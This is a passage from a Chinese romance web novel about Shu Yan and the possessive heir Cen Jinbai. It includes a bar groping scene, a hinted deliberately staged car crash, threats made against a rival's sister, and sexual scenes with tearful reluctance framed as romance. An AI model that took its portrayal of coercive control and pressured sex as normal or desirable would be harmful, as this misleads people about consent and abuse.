Zero抹了抹眼泪,见舒颜神色僵住,“舒颜姐,怎么了?” 不远处,方芝正在被一个男人搀扶着,那个男人的手还放在她的臀部,嘴里正说着什么,不像是好话。 方芝应该是喝醉了,站不稳,男人借机揩了好几次油。 她也一直在挣扎,舒颜还听到她在骂人,但那个油腻的中年男人就是不放手。 眼看着方芝要被这个男人拽进另一个包厢,舒颜走了上去。 “这位大哥,我朋友喝醉了,谢谢你扶着她,还是将她给我吧。” 舒颜攥住了方芝的手臂,她没穿外套,穿着无袖吊带,身姿尽显。 中年男人正想将醉美人带到自己包厢好好销魂一下,没成想快要到手被人截胡。 “你谁啊?你说是你朋友就是你朋友啊?” 方芝迷迷糊糊间感受到一个柔软的手攀上自己的手臂,睁眼去看,神情瞬间变得难看,猛地甩开舒颜的手。 是她抢走了岑尽白,即便两家人一起出面都无法劝动岑尽白和她订婚,吃饭时连面都不露。 她还是她同父异母的姐姐。 中年男人见此,笑得狡诈,摸了摸下巴又去摸方芝:“看来,你不是她的朋友啊,要一起玩吗?” 方芝丝毫不拖泥带水地打了中年男人一巴掌,舒颜的眼睛微微瞪大,有些惊讶。 “滚!”方芝已经清醒了些,知道自己刚刚在面*临什么局面。 她刚刚将舒颜甩开,但是看了她一眼,抿了抿唇,欲言又止。 男人捂着脸,破口大骂:“臭娘们,你们两个今天都跑不掉!” “你说谁跑不掉呢?”不知何时,Zero走了过来。 那男人眯了眯眼,上下打量着Zero,轻嗤:“不过是个毛小子!” 说着,去拽最近的舒颜:“仔细一看,你长得也不错啊。” 舒颜反手也给了他一巴掌。 垂下来的手指尖微颤。 舒颜只是觉得被他碰太恶心了。 男人捂着自己的脸,不可置信地看着她。 方芝张大嘴,给她鼓掌:“打得好!” Zero也没想到舒颜还会动手,脸上的震惊停留几秒,剩下的是被男人挑衅的恼怒。 一男两女站成一排,中年男人的气势明显弱了一节。 他伸出手指着他们,恶狠狠道:“你们等着!”然后转头走了。 舒颜转头问方芝:“你怎么样?没事吧?” 方芝扬着下巴,明显有些站不稳,傲气中又带着点别扭:“谁用你假惺惺,没有你我也能解决。” Zero看她快要跌倒,上前扶着,又被方芝推开:“你个小卷毛,不知道男女授受不亲啊?” 接着往舒颜那个方向摔倒,舒颜只好伸出手扶着她。 Zero炸毛:“谁想扶你啊,一身酒味熏到我了!” 方芝瘫倒舒颜怀里:“那你离我远点。” 俩人在岑氏见过面,Zero知道她是方家的大小姐,盛气凌人。 方芝掀开眼皮去看舒颜,哼了一声:“是你自愿扶我的。” 舒颜倒是能接受她的大小姐脾气,嗯了一声还点了点头。 她并不讨厌这个同父异母的妹妹,相反,在岑家的别墅见过之后,她还有些喜欢她的性格。 Zero没好气地问:“你跟谁一起来的?” 方芝把半边身子都压在舒颜身上,觉得她身上香香的、软软的,嘴巴撇了一下。 怪不得岑尽白喜欢她呢。 “我……”方芝舌头打了个结,“没人陪我,我,我自己来的。” 舒颜被她扒拉的有些站不稳,但是又不能松开。 “先回我们包厢吧。”舒颜说。 Zero耸耸肩,表示不和一个酒鬼计较。 方芝在舒颜怀里蹭了蹭,弯了弯嘴角。 其实她不是自己一个人来的,跟好姐妹一起来的。舒颜在这,岑尽白一定也在这了。 想象一下岑尽白在看到她的神情,她就好期待。 …… 两个男人的谈合作,不像别人那样互相扯皮试探,都是不喜欢浪费时间的人。 “你想回国,何不拿岑氏当跳脚板?”岑尽白看着正在吸烟的顾野藤说。 顾野藤指尖拿着烟,点了点头,眼睛不知在看窗外的哪里。 刚刚有舒颜和Zero在,顾野藤没吸烟,但是和岑尽白在一起,顾野藤就不收敛了。 两人是在射击场认识的,一开始都看不惯对方,后面一起打猎,也算是不打不相识。 顾野藤要回国,第一个联系的就是在国内的岑尽白。 岑尽白在国内还没多久,在岑氏内部无法服众,顾野藤也缺一个口子打开国内市场,两人互有需求,早在一个月前就不谋而合。 一个想尽快在岑家拿到话语权,一个想尽快进入楠溪市市场。 “你最近烟瘾越来越重了,以前可没见你这样。” 顾野藤又吐出一圈烟,模糊了面目,说:“近乡情怯吧。” 岑尽白忍不住嘲笑他。 顾野藤在国外混得挺好的,快要站稳跟脚的这时候,非要回国,国外的人都笑他不知好歹了。 岑尽白:“觊觎一个有夫之妇,你有把握吗?” 顾野藤抽烟的动作顿了顿,眼神倏尔变得凌厉了些。 好久,他才轻声说:“很快就不是了。” 岑尽白笑得更大声了,除了觉得舒颜有趣,他也觉得现在的顾野藤挺有意思的。 “中国不像是国外,触犯一点法律谁都救不了你。”岑尽白这句话像是在提醒。 顾野藤扭头看岑尽白,也是似笑非笑:“我记得,你之前赛车可是拿过WRC拉力赛的冠军,怎么还会出车祸呢?谁敢对你的车做手脚?” 这句话的深层意思不言而喻。 他是故意的,货车根本撞不到他的车,刹车踩的力道他都把握好了,刚好能让前面的歪柱子戳破前挡风玻璃。 她怎么能讨厌他呢? 顾野藤冷笑:“真是不要命了,她的命你也拿去赌,小心报应。” 岑尽白没说话,盯着顾野藤指尖的烟:“给我来一根。” * “你打算怎么处理她?”Zero望着抱着舒颜不撒手的女人,不掩嫌弃地问。 他感觉方芝就是不怀好意地接近,但是舒颜好像根本没有察觉到一样,还贴心地照顾她。 舒颜看着方芝红红的脸蛋,说:“等下,让岑尽白送她回去吧。” 这可是他的未婚妻,他总不能不管吧。 Zero张了张嘴,最终什么都没说。 等下要是发生什么事,他就说他根本拦不住舒颜,老师应该不会怪他的吧? 没过一会儿,这个房间的门被敲响了。 进来的人是岑尽白一个人。 他一眼就看见坐在沙发上的舒颜怀里有一个人,是个女人。 然后用询问的眼神看向Zero。 Zero解释道:“我们在这遇见了方小姐,她喝醉了,还有人对她图谋不轨,所以我和舒颜姐就将她带到这个包厢了。” 舒颜抬头看向他,“她喝醉了,你不送她回去吗?” 岑尽白没有回答她,用一种她看不懂的眼神看着她怀里的方芝。 他先走到Zero面前,用两个人能听到的声音问他:“方芝有没有乱说话?” Zero回忆了一下,摇摇头。 岑尽白走过去,将舒颜从沙发上拉起来。 “我们回去。” 方芝失去了支撑,脸摔在了沙发上,懵了一秒之后醒了。 大小姐脾气上来:“谁啊?” 舒颜被拉起来还担心地看了一眼沙发上的方芝,挣开岑尽白的手,去看方芝。 “你没事吧?” “怎么可能没事?我脸都撞疼了?”方芝一双眸子都疼得起了水雾。 舒颜摸了摸她的脸:“抱歉。” 岑尽白脸上闪过错愕,接着嘴角下压,周身气压低了许多,伸出手又将舒颜拉过来,这次她怎么挣扎都逃不开。 “你干嘛?” 舒颜瞪眼看他,不满他的行为。 而岑尽白只是蹙着眉,重复道:“我带你回去。” “但是方芝……” “不用管她。” 岑尽白说得像是这个人与自己毫无关系。 方芝听见了,当然不愿意,理直气壮道:“凭什么不管我?” 她也看见岑尽白头上的白纱布,皱眉问道:“尽白哥,你头怎么了?” 岑尽白扭头看向她,不带情绪,也不回答她的问题。 方芝最讨厌他这个神情,根本不把她放在眼里。 那张脸仍旧让她喜欢,要是他现在过来求她嫁给他,她可能还是愿意的。 舒颜作势要去方芝那里,被岑尽白拽住。 她当然也看见岑尽白霸道地拉着舒颜的手,近乎无情地看着她,还带着警惕。 这让方芝内心有点爽。 她和他对视,眼神中的得意不掩饰。 岑尽白拉着舒颜就要走,身后传来方芝的声音:“站住!你要是不管我,我就告诉岑伯父!” Zero上前,都想捂住她的嘴。 “哎哟,我送你回去!” 方芝双手抱胸,趾高气昂:“我不用你送,我要让我的准‘未婚夫’送!” 这句话,让在门口的舒颜停住了脚步。 岑尽白也跟着她停下,低下头去看她。 第52章 “忍一下好不好?” 他神色淡然,看着舒颜的眼睛说了一句:“她不是。” 但是舒颜不去看他,甚至是看向了方芝,轻声说:“你还是送她回去吧,她想让你送。” 她可是你的未婚妻。 方芝还坐在沙发上,可能已经醒酒了,只是面色红润了些,眼神还算清明,就这样看着门口的两人。 Zero悄悄翻了个白眼。 岑尽白:“你想让我送她?” 舒颜:“她喝醉了,难道将她一个人丢在这里?” 方芝笑得有些狡黠,“就是就是。” “我走不稳,你背我。” 舒颜的睫毛颤了下,并没有过多反应。 身后贴上来一个人,将她揽在怀里。 “方小姐酒没醒就少说少做,还是在这休息,我请人来接方小姐回去。” 岑尽白说话时呼出来的气息,喷洒在舒颜的头顶。 Zero看了眼没人影的门口,俯身露出大白牙:“小公主,要不我背你?” 方芝只当他是嘲笑她,咬牙切齿:“滚!” …… 舒颜没想到,回去还是岑尽白开车,以至于她看着他拿方向盘,精神就处于高度紧张的状态,甚至说:“不是Zero开吗?” 岑尽白看着她的故作镇定,也不戳穿:“Zero要送方芝,我来开。” 舒颜:“那你慢点。” 已经是晚上八点了,回去的路上没有什么车,但是前面还是黑的,舒颜没有安全感,时不时蹦出来一两个字。 “慢点。” “有车。” “拐弯了。” 舒颜不是一个怕死的人,甚至她曾经尝试过,但是现在和岑尽白在一起,她竟然会怕自己出了车祸,白天那场意外给她留下了阴影。 岑尽白开车很专心,也不左顾右看了,紧盯着前方,速度也不快,这让舒颜松了口气。 终于到了老旧的巷子口时,岑尽白稳稳踩了刹车。 但是他按着额头,叫着头很疼。 “怎么了?是伤口疼吗?”舒颜很慌张,忙倾身去看。 岑尽白蓝色的眼眸闭上,将头往她这边靠,带着些平时没有的病弱感。 “颜颜,很疼……” 看着他突然这样,舒颜有些手足无措了。 “会不会是车祸留下来的后遗症,我们去医院,我打电话叫救护车!” 岑尽白。精准握住她要拿手机的那只手,“没事,是伤口疼,不是别的地方疼,不用救护车。” “你让我抱一会儿,我缓一下就好了,缓一下……” 他闭着眼,睫毛轻轻颤动,抓着她胳膊的手指节泛白,看起来让人心疼又想让他更疼。 舒颜还是顺着他,像是他拍着她的背那样轻轻顺着他的背,脸上是别扭的愧疚。 在这样狭小的车里,两个人就着这样的姿势维持了好久,舒颜的手都酸了。 她问:“还疼吗?” 岑尽白睁开眼,脸色苍白,蓝色的眼睛像是蒙尘的琉璃珠。 “好多了,谢谢你,颜颜。” “我们回去吧。” 舒颜这才小心翼翼地推开他的头,然后下车。 刚下车就被岑尽白握住了手,手心里带着粘腻的汗,不知道是他的还是她的。 他冲她露出一个脆弱的笑容。 舒颜低下头,任由他牵着,狠狠咬了自己的下唇。 她的心里,是有一点点愧疚的。 …… “怕碰到你的伤口,我去客厅睡吧,你睡卧室。” 舒颜拿着自己的枕头,对岑尽白说。 岑尽白拉住她的手,带着恳求说:“我们一起睡,不会碰到我的伤口的。” 她有些犹豫,因为她现在心里有些乱,也不知道该用哪种态度去面对他。 她知道岑尽白有时候很粘着自己,并且是惯会用可怜的语气和神态来迷惑她的,她也总是上当,上当之后在心里决定以后一定要对他说一些狠话,但不是被他突然的强势打败,就是突然被他做的事情改变心境。 本是躺在一张床上,中间有一道明显的分界线,听着他的呼吸声,很轻,但无法忽略,她潜意识里很想睡觉,但是她睡不着,也不敢动。 她心里有一头野兽,身边好像也有一头野兽,潜藏在深处,不知道什么时候就会伸出爪子,将她的心脏和大脑,全部吞吃掉。 兽性是最难以揣测的,就算是温柔的小兽,也有利爪和利牙。 野兽吃人会先吃哪里? 她的脚趾传来黏湿和难以忽略的齿力,只在她的皮肤表层试探着,但是她知道他在渴望着她皮肤底层的温热流淌的血液。 野兽抓住她纤细的脚脖,将她拉到自己的腹部,像是得到了渴求许久的猎物,舍不得一下子吃掉,只能充满占有欲地将她藏起来,磨好自己的爪子和牙齿,再放出她的血,冷眼看着她的生命流逝。 野兽是不值得同情的。 就算是她哭泣,也不能阻止他。 她只能趴在枕头里,呜呜哭泣,但是野兽怕她窒息,这样会影响他嗜血时的快。感,主动将她的脸抬起来,让她呼吸。 “别,你的头……” “没事。” “颜颜,我头疼,自己坐上来,动一下,好不好?” 她只是哭泣,还没弄清楚脑子里乱糟糟的情绪。 …… 他轻轻叹息一声,像是责怪又像是无奈。 根本就不是他在疼,是她。 他伸出舌头去舔她脸上的泪水,“那怎么办呢?我也难受。” “忍一下好不好?颜颜……” 野兽没有共情能力,越是弱小的,越会生出蹂躏的扭曲情感。 …… 凌晨三点,舒颜终于从他的身上下来。 她的身上糟糕极了,脚上、胸口没有一处皮肤是好的。 岑尽白没忘记给她清理。 这时候他是最耐心的,慢腾腾欣赏着自己的标记,回味着每一处的味道和温度,心中被奇异的满足感胀满,爽得头皮发麻,比身寸出的那一刻还要痛快。 他要清晰地感知到: 她是他的,她是他的,她是他的…… 野兽会在看不见的地方袒露内心深处的不安全感。 他会将头埋在将他驯服的人的胸口,倾听她的心跳。 …… 岑尽白在卧室里安了窗帘,是浅色的,所以白光透进来时,不会显得太刺眼,但会照亮室内。 舒颜睁开眼时,身旁已经没有人了,身上是干爽的,但是被咬过的地方,还是会疼。 她先伸手拿了手机,一个不知名的号码给她发了信息,号码归属地是美国。 【你知道WRC拉力赛吗?岑尽白之前拿过冠军,你觉得他会控制不好一个普通汽车的方向盘吗?】 【别以为他是真的爱你,他单纯就是想控制你、玩玩你。我看你也没多喜欢他,何必委屈自己呆在他身边。】 【岑氏现在在走下坡路了,他要是找一个对他没有半分好处的妻子,他父母都不会愿意的。】 【退一万步来说,就算是他真的爱你,真的娶了你,你有什么是拿得出手的?你也会像你的母亲那样,被他的家族嫌弃,岑尽白说不定也会嫌弃你,那你就会像是丧家之犬一样,没有一点退路,变成一个流浪汉!】 舒芸也说过,如果她不好好学习,她就会变成一个流浪汉。 流浪汉有什么不好的?不就是脏点穷点吗?至少灵魂是自由的。 舒颜先搜索了WRC拉力赛是什么比赛,然后才回复了对面。 【谢谢你告诉我这些,至少让我不再那么纠结。】 【我不奢望他的爱,我也并不觉得他是在玩我,但是他对我有依赖感,我还不确定那是不是爱。我猜你应该很了解岑尽白,大概也了解我。如果你想让我离开岑尽白,那很巧,我也正这样想。】 【是吗?方芝?】 【不知道,你愿不愿意帮我呢?】 那边的方芝被吓得揪住了Zero的卷毛。 “我去,舒颜怎么知道这是我的?” Zero疼得龇牙咧嘴,裸着上半身从被窝里出来。 “stop!stop!” 他探头去看方芝的手机,上面正是和舒颜的聊天记录。 舒颜想让方芝帮着她离开这里? Zero立即就被吓醒了,比方芝揪他头发还管用。 紧接着他黑了脸。 “你给她发这些信息干嘛?” 方芝理直气壮,脖子上还带着被咬出来的红痕:“当然是让她离开尽白哥!” “那你还睡我!”Zero白皙的脸被气得通红。 方芝耸耸肩,满不在乎:“是你自愿的,关我什么事?” Zero快要被这个女人气炸了。 那可是他的初夜! “这不是最重要的,最重要的是舒颜怎么知道是我?”方芝拿着手机,还想问Zero,根本不设防。 Zero不想跟她说话,提上自己的裤子,指着她说:“你这个负心汉,我要让你不得好——” 最后一个字没说出来,但是Zero觉得自己在中国电视剧里学到的话有了用处。 方芝看着他,像看一个傻瓜。 然后摇摇头,继续看手机。 又好像忽然想到了什么,拉住了Zero因为生气爆出来青筋的手臂,一下子跳进他的怀里。 Zero下意识托住她的屁股。 方芝唇色糜红,眼带水波,凑上去亲了亲Zero饱满的嘴唇。 完全不像刚刚那样嚣张,口气蛊惑得像一个妖精:“我想帮舒颜离开尽白哥,你可以不要告诉尽白哥吗?” Zero的指缝溢出她的臀肉,因为他在用力。 方芝皱眉,见他不回答,将亲吻转向他的耳垂:“你昨晚很棒哦,我真的好喜欢你的口口,哥哥……” Zero痛恨地看着她,被气哭了。 * 在岑氏呆了一整天,岑尽白叫来了Zero给自己开车。 他坐在后座,前面的Zero一直在抹眼泪。 他揉了揉额角,非常不理解:“你在哭什么?” “老师,我遇见了一个坏女人……”Zero一手握着方向盘,一只手抹眼泪。 岑尽白今天很累,新一年快到了,公司的年度总结大会要举行,还要规划明年公司的方向,岑尽白与公司一些老股东的想法大不相同,除了岑方启,所有人都反对他。 岑方启知道了他头上的伤是怎么来的,表示不理解,并给了他一巴掌。 现在他的半张脸都是肿的。 “哦,那你就比她更坏。” 岑尽白像是随口说的。 Zero不哭了,从后视镜中看岑尽白,他坐在阴影里,脸白得醒目,但是他的半张脸带着指印,一看就是被人打了,但是Zero不敢问。 他想起方芝和舒颜的聊天记录…… 等车子稳稳停在巷子口,岑尽白下车后说:“明天早上来接我。” Zero忽然叫住他:“老师。” 岑尽白回头。 Zero的神情有些认真:“你和舒颜姐现在的关系,是她自愿的吗?” 蓝色的眸子有一瞬间的错愕,难以捕捉,随即又像是平静的海面一样,无波无澜。 岑尽白没有回答Zero的这个问题,转身进了昏暗的巷子。 他的目光平静地掠过还在卖淀粉肠的女人,清楚地看见她炸肠时手上青紫的冻疮。 女人为了赚多一些钱,不仅卖淀粉肠,还开始卖了其他的小吃。 不过这些,都跟他没关系。 …… 铁门被敲响,带着属于夜晚的厚重。 舒颜开门后,一眼便看见他半边脸上的指印。 “你的脸怎么了?” 岑尽白没回答,看着她油光水亮的嘴唇,问:“你在吃什么?” “炒面。” “巷子口买的。” 岑尽白皱起眉,在屋内闻到了很重的油和调料的味道。 他不喜欢。 舒颜笑笑,侧身:“你不进来吗?” 岑尽白还是走了进去,即便屋子里充满他不喜欢的气味。 舒颜坐下继续吃那碗炒面,手机里放着一部很老的动画片,看的和吃的都是津津有味。 岑尽白没有靠近她,坐在了沙发上。 他还没有吃晚饭。 等舒颜吃完,将垃圾扔掉,走向了岑尽白。 岑尽白坐在沙发上,仰头看向她,目光深邃,像是要将她吸进去。 他膝盖打开,将她的双腿卡住,像是要将她困住。 舒颜的手摸上那带着红色指印的半张脸,重重地按上去。 第53章 让她数,是第几次 舒颜的手摸上那带着红色指印的半张脸,重重地按上去。 “疼吗?” 岑尽白表情没有变化,只是盯着她。 “不疼。” 谁被打巴掌不疼? “骗人。”舒颜缓缓将手移至下颚,轻轻摸着,手腕上是他呼出来的热气,丝丝缕缕贴着她的皮肤。 “你的脸怎么了?” 她指腹传来的温暖让他生出眷恋,岑尽白忍不住蹭了蹭。 舒颜感觉现在像逗弄某种危险的动物。 她的指尖都是颤的。 岑尽白的肩膀沉下,手不知何时在她的腰臀相间处,是极其放松和臣服的姿势,但是仰头看她的眼神是极具侵略性的。 昨夜她坐在他身上,起起伏伏间,他也是用这样的眼神看着她。 舒颜只好伸手将他的眼睛捂住,他的睫毛在她的掌心煽动,带来一阵痒意。 “岑尽白,你睫毛好长呀。” “比我的长好多。” “那送你。”他说。 舒颜将手放下,蓝色的眼睛睁开,浓黑纤长的睫毛扑闪扑闪,不自觉地带着柔软的笑意看她。 即便头上戴着纱布,即便半边脸上戴着指印,但仍是好看的。 舒颜作势要去亲他,想起自己刚刚吃过他不喜欢的东西,又停在半空。 身后他的手已经开始抖了。 舒颜笑了笑,亲向了他的眼睛,表达自己的喜欢。 然后从他的腿间退开:“我要去学习了。” 舒颜走后,岑尽白眼里的柔意消散,他拿过沙发上的一个抱枕,放在自己的腿间。 明明只是一个没有欲念的吻。 他像是被她施法了一样。 该把她抓回来的。 …… 舒颜回到房间里,发现自己手心都是汗。 这是她第二次向他示好,第一次是为了勾。引他,第二次是为了离开他。 大不相同,但做起来都是让人挺心虚的。 晚上十一点,房门被打开。 岑尽白走进来,问她:“学累了吗?” 他的眼里,是还没灭的火。 …… 岑尽白来出租屋的时间是不一定的,有时候每天都要来,有时候可能隔了两天才来。 他来了就让舒颜吃他做的饭,他要是不来就会让Zero给她带饭。 他还爱上了给她买衣服,成车成车地往出租屋里送,舒颜有些无奈,说屋里装不下了。 岑尽白看了她一眼,没说话,继续让她给他表演换装游戏,蓝眸深邃,不知道是在看她还是在想什么别的。 他偏爱色彩浓烈的衣服,有时也会买纯到极致的颜色,设计并不裸。露,也不保守。 可能那件衣服,只能凸显她身上的某一处,锁骨,大腿,小腹,脚踝…… 每一晚的衣服不带重样的。 那一天晚上,他也只就着那一处欣赏,抚、舔、咬、蹭,无所不用其极。 舒颜觉得这样太过吃亏,在某些他失去理智的间隙,拿出早就准备好的想让他穿得衣服,哑着嗓子想让他换上。 “想我穿?” 她含着泪点头。 或许是她这样太过可怜,他总是安抚似的亲亲她的眼睛,夸她那一处好漂亮,他的不漂亮,只想欣赏她的。 疾风骤雨让她扔了那件衣服,忘记想要报复回去的心思。 出租屋里的各处,都被铺上了柔软的毯子,以至于她有时候看着看着书,偶然间瞟到某处,总是会被吓到。 因为她记不住,那里究竟是几次。 每次她答不上来,他就会让她故地重游,让她数,是第几次。 岑尽白渐渐操控住了她的衣食住行,她软绵绵的反抗没有用。 他温柔笑着,用最好听的嗓音夸着她,让她可怜可怜他。 像是他期待的那样,最近舒颜实在是顺着他,以至于岑尽白觉得,她真的习惯了他,并会开始——喜欢他? 她会用彩纸折出许多花,羞怯地捧给他,问他喜不喜欢。 让他以后不要再去垃圾桶里捡了。 第一次收到花的岑尽白,面上平静无比。 舒颜笑着提醒他:“不要太用力攥它,是纸做的,很容易就坏了的。” 他只好将浑身的肌肉放松,两只手捧着她做的纸花,若无其事地走了进来。 第二天醒来时,岑尽白走了,纸花也不见了。 …… 在他打开沉重铁门的那一刻,她会穿上他亲手挑的衣服,笑着问他好不好看。 如果他说好看,她会咬着粉嫩润泽的嘴唇,双手小心翼翼地攀上他的肩膀,吻上他最为敏感的喉结。 如果他说不好看,她会有些失落地垂下头,转身进了卧室。 最后的结果,不过是被他一层层剥落,一寸寸侵。入。 她好像跟他说得话变得多了起来。 舒颜说:“我一个人呆在出租屋好无聊。” 他沉默,不知道接下来她会跟他说些什么。 如果她说要结束这样的生活,那他一定是不会同意的。 “如果你多回来陪陪我就好了。” 他怔愣抬起头,蓝色的眼睛不是蓝色了,如同墨、如同夜一样的深色。 充满了怀疑。 舒颜不知道他在怀疑,还是在郁闷。 好久,她听见他没有起伏地说了一句:“那我以后,会多来陪你的。” 日子就这样过了半个月,来到了深冬的十二月。 早上是舒颜亲自送岑尽白出去的,昨晚他少见地很早放过了她,让她不会像以往那样,等他走了好久,她才有力气爬起来。 有她在的地方,他的眼神总是追随着,带着些许的执拗。 舒颜将他推出铁门,和他说了再见。 本来想目送他下楼的,但是他看着她,迟迟不动。 他头上的伤已经好了,整个人少了些病感,恢复了以往的清冷矜贵。 站在那里,仍旧与这里格格不入。 “怎么了?” 舒颜摸了摸自己的脸,以为是今天有哪里不妥。 岑尽白看着她摇了摇头,脚步向后退了一步。 “你今天,还没有吻我。” 舒颜愣在那里,有些好笑。 原来是索吻。 她大方地缩进她和他之间的距离,看上去就是她主动走向他。 然后在他的嘴角亲了一下。 岑尽白终于满意,真实的温柔笑意从嘴角荡漾,一直荡漾到了楼下。 他回头看这栋破旧的小楼,忽然觉得这里也没有那么糟糕。 之前对这里的嫌弃,好像减少了一些。 嘴角的甜意还在,几乎蔓延到了全身,让他有一种冲动,想要将脚步倒回。 他第一次触碰铁门,铁门被他敲得掉落了些漆皮,甚至有一些沾到了他的手上。 这个门真的好脏、好旧。 但是他没有皱一次眉头,甚至嘴角的弧度仍然在。 却在铁门开的那一刻,将笑意抹掉,有些严肃地通知她。 “我今晚七点回来。” 舒颜看着门外的人,惊讶道:“你不是走了吗?” 岑尽白没有回答她的话,深深地看了她一眼,然后下了楼。 就好像,他折返回来,只是为了和她说这句话。 舒颜看着他挺拔的背影,隔了几秒才重新关上门。 …… 巷子口的的Zero已经在等着,他本来还很困,最近因为方芝,心情也很低落,但是他居然看见岑尽白笑着和他打招呼。 他揉了揉眼。 他没有眼花。 岑尽白是笑着的,肉眼可见的笑着,比平日多了许多亲切感。 Zero僵硬地抬手,说:“老师,早上好啊?” “早上好。” Zero彻底醒了,还听见岑尽白跟他说他求了好久的事情。 “所有画都已经画好了,过一段时间,你就带着画稿回美国吧。” Zero张着嘴,“都?画好了?” 明明之前他催都不敢催。 岑尽白:“嗯。” 开车时Zero问后面的岑尽白:“老师,你最近,很有灵感吗?” 岑尽白的神情已经恢复了正常,喘了一口气,像是从什么情绪中抽出来。 他说:“算是吧。” Zero点点头,不再问了。 方芝想要将舒颜送出国,目前已经在准备了,并且威胁他不要将这些告诉岑尽白。 Zero不怕方芝的威胁,并且觉得这件事没必要告诉岑尽白。 因为他知道,只要岑尽白不放过舒颜,舒颜是不可能逃掉的。 刚刚看到的老师,明明心情很好的样子,这是不是说明,他和舒颜,相处地很好? 不过这些不是他要管的事情,只要他催到画稿,那么他回国的任务就算是完成了。 他不打算和岑尽白说了。 方芝知道了不知道要怎么骂他。 白天的时间过得很快,舒颜在出租屋的主要活动就是学习,因为还剩下十几天,就要考研了。 时间很紧张。 她闭上眼,驱逐脑子里岑尽白早上说的那句话。 没关系,再忍忍。 天开始泛起乌青色。 舒颜挑了一件花色的毛衣长裙穿上,毛衣从下到下都很暖和,除了腰那里是镂空的。 屋里不冷,正在想要不要穿上羽绒服,外面传来张奶奶的喊声:“舒颜,你在家吗?” “外面有人找你。” 有人找?谁还会找她? 舒颜穿上羽绒服,遮盖住里面的曼妙,打开了铁门。 张奶奶说:“楼下站着一个男人,说叫齐刚,找你的。” 她和齐刚很久没有联系了,从她离开“好再来”后。 张奶奶用复杂的眼神看着她,舒颜没多解释。 舒颜下了楼。 齐刚站在冷风里,舒颜刚踏进去就冷得缩了缩脖子。 “好久不见。”齐刚的声音中气十足,面容冷硬,漆黑的眼睛看着她。 舒颜和他对视:“好久不见。” 齐刚率先将视线移开。 舒颜问:“你来找我有什么事吗?” 齐刚见她是一个人出来,那些卑劣的庆幸急需得到确认:“你现在是一个人住吗?” 舒颜听到这个问题低下了头,羽绒服下的羊毛衫还在发热,替她无声地御寒。 “不是。” 这句话彻底让齐刚跳动的心按了暂停。 第54章 颤抖又讨好地想要亲吻他的唇 “舒颜,岑尽白都是骗你的。” 舒颜听此也没多大反应,甚至内心松了口气。 她好像能猜到他接下来要说些什么,但是总让别人来告诉她真相,真的显得她很蠢。 她笑得有些牵强,“你在说什么?” “我说,岑尽白都是骗你的。他早就计划好了不想让你在我那工作,门面倒闭,是他做的。” “舒颜,我不想你离开……”他顿了下,“我不想你离开‘好再来’,是岑尽白他拿我妹要挟我。” 齐刚说完,去看舒颜的反应。 舒颜垂眸的睫毛颤了颤,猜到岑尽白会去为难齐刚,但是他拿人家妹*妹为难他,确实有些过分了。 “对不起。”舒颜弯腰给齐刚道了个歉。 齐刚后退一步,他似乎无法理解:“这根本就不是你的错,你跟我说什么对不起?” 舒颜抿了抿唇,神色犹豫:“有我的责任,如果我没去‘好再来’工作,你根本就不用遭受这些无妄之灾。” “真的很抱歉,也谢谢你跟我说这些。” “那你知道了这些,不应该离开岑尽白吗?”齐刚看不下去她的俯小做低。 他今天来,想了很久。 也许现在岑尽白还在缠着舒颜,那他会妒恨得发疯,一定是要将这些告诉舒颜的,被岑尽白这样威胁,太让人屈辱了。 还有一种是他庆幸的臆想,那就是岑尽白已经腻了和舒颜的猫和老鼠游戏,他们有钱人不都是这样的吗? 这时候,他就可以趁虚而入。 他不是什么好人,不能争取自己喜欢的人,让他这段时间陷入极大的痛苦当中。 舒颜抬头看向他:“你今天来找我,难道不怕岑尽白再对你做些什么?” 齐刚落在身侧的两只手攥紧,面上紧绷。 怕,怎么不怕。 他很清楚自己玩不过有钱人。 但是他真的不甘心。 若是舒颜愿意跟他,他一定好好保护她。 “齐刚,不要再来找我了,知道岑尽白是个什么样的人就躲得远远的。”舒颜平静说。 “你知道他是什么样的人,你都不反抗的吗?”齐刚果然看到舒颜面上有些起伏。 他意识到自己说错话了。 “对不起,舒颜,我不该这样说你,毕竟我也被岑尽白威胁到了,对不起……” “要是你愿意,我现在就可以带你走。” “你的微信把我拉黑了,我只能来找你说。” 反抗有用吗?岑尽白是个软硬兼施的人。 舒颜没再多说:“你走吧。” 齐刚看出她眉眼间的痛苦,上前按住她的肩膀,与她对视,“跟我走吧,舒颜。” “颜颜,你要跟他走吗?” 温润至极的声音,却让齐刚放在舒颜肩膀上的手陡然握紧。 舒颜也浑身僵住。 她怎么忘了,岑尽白说他七点就回来的。 舒颜主动甩开肩膀上的手,说:“你快走吧。” 岑尽白这时已经走到她身边。 一身深蓝色西装,没有穿外套,但却不显单薄,英气逼人。 另一双手按上舒颜的肩膀,正是齐刚方才按的位置,让她的身体向后退一步,拉开和齐刚之间的距离,缩短他们之间的距离。 他甚至看似无意地,拍了拍她的肩膀,像是拍掉什么脏东西。 这一系列动作,看得齐刚怒火中烧,拳头都快成铁了。 岑尽白低头,蓝眸异常认真,带着常见的温柔如水,又问了她一遍:“你要跟他走吗?” 好像只要她说她跟齐刚走,他就会立马答应一样。 舒颜被他看得心跳骤然变快。 齐刚:“岑尽白你别逼我。” 岑尽白转头,脸上的温柔消失,但仍旧礼貌:“我是如何逼齐先生的?齐先生当初辞退了颜颜,这不是齐先生亲口说的吗?” 一口一句齐先生,显得他多尊敬人,多有礼貌。 但是另外两人都知道,岑尽白的心是黑的。 他不择手段,道貌岸然。 齐刚是个暴脾气,从前吃尽苦头,打架从来没有服过谁,如果没有妹妹这一个弱点,他还真能豁出命。 “岑尽白,你就能保证,你能一辈子都和舒颜在一起吗?别以为我没文化就不看新闻,你早晚要娶方家的女儿,到时候你将舒颜放在哪里,让她当小三吗?人人都会骂她,你能堵住所有人的嘴吗?” “你现在的硬气不过是因为你家有钱,那些钱是你的吗?你要是真有实力,你娶了舒颜啊!” 吼完这些话,齐刚的胸口剧烈起伏。 舒颜还被他禁锢在怀里,这是他在目睹他们的相处方式的冲动。 可是只换来岑尽白淡淡的一句:“我不会结婚,也不用你来教我怎么做。” “岑尽白,你这样,舒颜永远都不会喜欢你,会厌恶你一辈子。”齐刚带着恶毒和嫉妒说出这句话。 像是在诅咒他。 冷风就这样钻进了舒颜的心口,凉得她发颤,她不知道为什么,立马转头去看岑尽白。 岑尽白果然因为这句话笑容有些僵硬,温柔神情破裂到无法维持,脸上冷如冰霜,刚刚表面的懂礼面孔像是从未存在过一样。 他松开了舒颜,想要上前。 舒颜想起上一次岑尽白开车想要直接将人撞死的场景,这种恐惧瞬间将她包围。 齐刚已经做好准备要和他打一架。 但岑尽白却被舒颜拉住。 